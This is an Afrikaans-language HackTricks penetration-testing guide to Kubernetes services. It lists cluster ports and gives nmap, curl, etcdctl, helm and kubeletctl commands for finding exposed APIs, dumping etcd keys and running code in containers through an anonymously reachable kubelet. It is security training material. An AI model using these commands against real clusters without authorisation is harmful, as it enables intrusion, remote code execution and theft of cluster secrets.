Pentesting Kubernetes Services

Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Kubernetes maak gebruik van verskeie spesifieke netwerkdienste wat jy dalk blootgestel aan die internet of in 'n interne netwerk kan vind sodra jy een pod gekompromitteer het.

Blootgestelde pods vind met OSINT

Een manier kan wees om te soek na Identity LIKE "k8s.%.com" in crt.sh om subdomeine wat verband hou met kubernetes te vind. 'n Ander manier kan wees om "k8s.%.com" in github te soek en te soek na YAML-lêers wat die string bevat.

Hoe Kubernetes Dienste Blootstel

Dit kan nuttig wees vir jou om te verstaan hoe Kubernetes dienste openbaar blootstel om hulle te vind:

Exposing Services in Kubernetes

Blootgestelde pods vind deur poetskandering

Die volgende poorte mag oop wees in 'n Kubernetes-kluster:

PoortProsesBeskrywing

443/TCP

kube-apiserver

Kubernetes API-poort

2379/TCP

etcd

6666/TCP

etcd

etcd

4194/TCP

cAdvisor

Kontainermetriek

6443/TCP

kube-apiserver

Kubernetes API-poort

8443/TCP

kube-apiserver

Minikube API-poort

8080/TCP

kube-apiserver

Onveilige API-poort

10250/TCP

kubelet

HTTPS API wat volle toegang toelaat

10255/TCP

kubelet

Ongeagte lees-slegs HTTP-poort: pods, lopende pods en nodestatus

10256/TCP

kube-proxy

Kube Proxy gesondheidskontroleserver

9099/TCP

calico-felix

Gesondheidskontroleserver vir Calico

6782-4/TCP

weave

Metriek en eindpunte

30000-32767/TCP

NodePort

Proksi na die dienste

44134/TCP

Tiller

Helm-diens wat luister

Nmap

nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 <pod_ipaddress>/16

Kube-apiserver

Dit is die API Kubernetes-diens waarmee die administrateurs gewoonlik kommunikeer met die hulpmiddel kubectl.

Gewone poorte: 6443 en 443, maar ook 8443 in minikube en 8080 as onveilig.

curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1

Kyk na die volgende bladsy om te leer hoe om sensitiewe data te verkry en sensitiewe aksies uit te voer deur met hierdie diens te kommunikeer:

Kubernetes Enumeration

Kubelet API

Hierdie diens hardloop op elke node van die groep. Dit is die diens wat die peule binne die node sal beheer. Dit kommunikeer met die kube-apiserver.

As jy hierdie diens blootgestel vind, het jy moontlik 'n onbevoegde RCE gevind.

Kubelet API

curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods

Indien die antwoord Onbevoegd is, vereis dit verifikasie.

As jy nodusse kan lys, kan jy 'n lys van kubelet-eindpunte kry met:

kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
ip=$(echo $node | awk '{print $1}')
port=$(echo $node | awk '{print $2}')
echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check  also for etcd
done

kubelet (Net lees)

curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods

etcd API

curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only

Tiller

Tiller is 'n komponent van Helm wat gebruik word om Helm charts op 'n Kubernetes cluster te installeer en te bestuur. Tiller hardloop binne die Kubernetes cluster en kommunikeer met die Helm CLI om operasies uit te voer soos die installeer, opgradeer en verwyder van Helm charts. Tiller is 'n potensiële sekuriteitsrisiko en is in nuwer weergawes van Helm verwyder weens sekuriteitskwessies.

helm --host tiller-deploy.kube-system:44134 version

Jy kan hierdie diens misbruik om voorregte binne Kubernetes te eskaleer:

cAdvisor

Diens nuttig om metriek in te samel.

curl -k https://<IP Address>:4194

NodePort

Wanneer 'n poort blootgestel word in al die nodes via 'n NodePort, word dieselfde poort oopgemaak in al die nodes wat die verkeer na die aangekondigde Service stuur. Standaard sal hierdie poort in die reeks 30000-32767 wees. Dus kan nuwe ongekontroleerde dienste toeganklik wees deur hierdie poorte.

sudo nmap -sS -p 30000-32767 <IP>

Kwesbare Verkeerde Konfigurasies

Kube-apiserver Anonieme Toegang

Anonieme toegang tot kube-apiserver API-eindpunte is nie toegelaat nie. Maar jy kan sekere eindpunte nagaan:

Nagaan vir ETCD Anonieme Toegang

Die ETCD stoor die groep geheime, konfigurasie lêers en meer sensitiewe data. Standaard kan die ETCD nie anoniem benader word nie, maar dit is altyd goed om te kontroleer.

As die ETCD anoniem benader kan word, mag jy nodig hê om die etcdctl werktuig te gebruik. Die volgende bevel sal al die gestoorde sleutels kry:

etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only

Kubelet RCE

Die Kubelet-dokumentasie verduidelik dat standaard anonieme toegang tot die diens toegelaat word:

Maak anonieme versoek aan die Kubelet-bediener moontlik. Versoeke wat nie deur 'n ander verifikasiemetode verwerp word nie, word as anonieme versoek behandel. Anonieme versoek het 'n gebruikersnaam van system:anonymous, en 'n groepnaam van system:unauthenticated

Om beter te verstaan hoe die verifikasie en magtiging van die Kuebelet API werk, kyk na hierdie bladsy:

Kubelet Authentication & Authorization

Die Kubelet-diens API is nie gedokumenteer nie, maar die bronkode kan hier gevind word en dit is so maklik as om die blootgestelde eindpunte te vind deur eenvoudig te hardloop:

curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'

Path("/pods").
Path("/run")
Path("/exec")
Path("/attach")
Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").

Almal klink interessant.

Jy kan die Kubeletctl gereedskap gebruik om met Kubelets en hul eindpunte te interageer.

/pods

Hierdie eindpunt lys pods en hul houers:

kubeletctl pods

/exec

Hierdie eindpunt maak dit baie maklik om kode binne enige houer uit te voer:

kubeletctl exec [command]

Om hierdie aanval te voorkom, moet die kubelet diens uitgevoer word met --anonymous-auth false en die diens moet op netwerkvlak geskei word.

Nagaan van Kubelet (Lees-slegs Poort) Inligting Blootstelling

Wanneer 'n kubelet lees-slegs poort blootgestel word, word dit moontlik vir ongemagtigde partye om inligting van die API te onttrek. Die blootstelling van hierdie poort kan lei tot die bekendmaking van verskeie klusterkonfigurasie-elemente. Alhoewel die inligting, insluitend pod name, plekke van interne lêers, en ander konfigurasies, nie krities mag wees nie, stel sy blootstelling steeds 'n sekuriteitsrisiko en moet vermy word.

'n Voorbeeld van hoe hierdie kwesbaarheid uitgebuit kan word, behels 'n afgeleë aanvaller wat toegang verkry tot 'n spesifieke URL. Deur te navigeer na http://<eksterne-IP>:10255/pods, kan die aanvaller potensieel sensitiewe inligting van die kubelet onttrek:

https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png

Verwysings

Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated